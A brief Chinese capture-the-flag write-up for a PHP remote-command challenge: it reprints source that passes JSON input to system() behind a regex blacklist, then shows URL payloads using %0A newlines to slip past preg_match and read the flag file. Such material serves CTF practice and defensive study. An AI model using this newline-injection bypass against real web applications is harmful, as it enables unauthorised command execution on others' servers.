解题
用json格式尝试,一直没得结果,查看wp,当时给了源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
很多东西都过滤了,但是preg_match()函数只匹配一行,用%0a
进行换行
payload
?cmd={%0A"cmd": "ls /"%0A}
根目录没有flag
源码里有个路径,putenv('PATH=/home/rceservice/jail');
尝试获取目录
?cmd={%0A"cmd": "ls /home/rceservice"%0A}
看到flag
直接用绝对路径调用
?cmd={%0A"cmd": "/bin/cat /home/rceservice/flag"%0A}
不错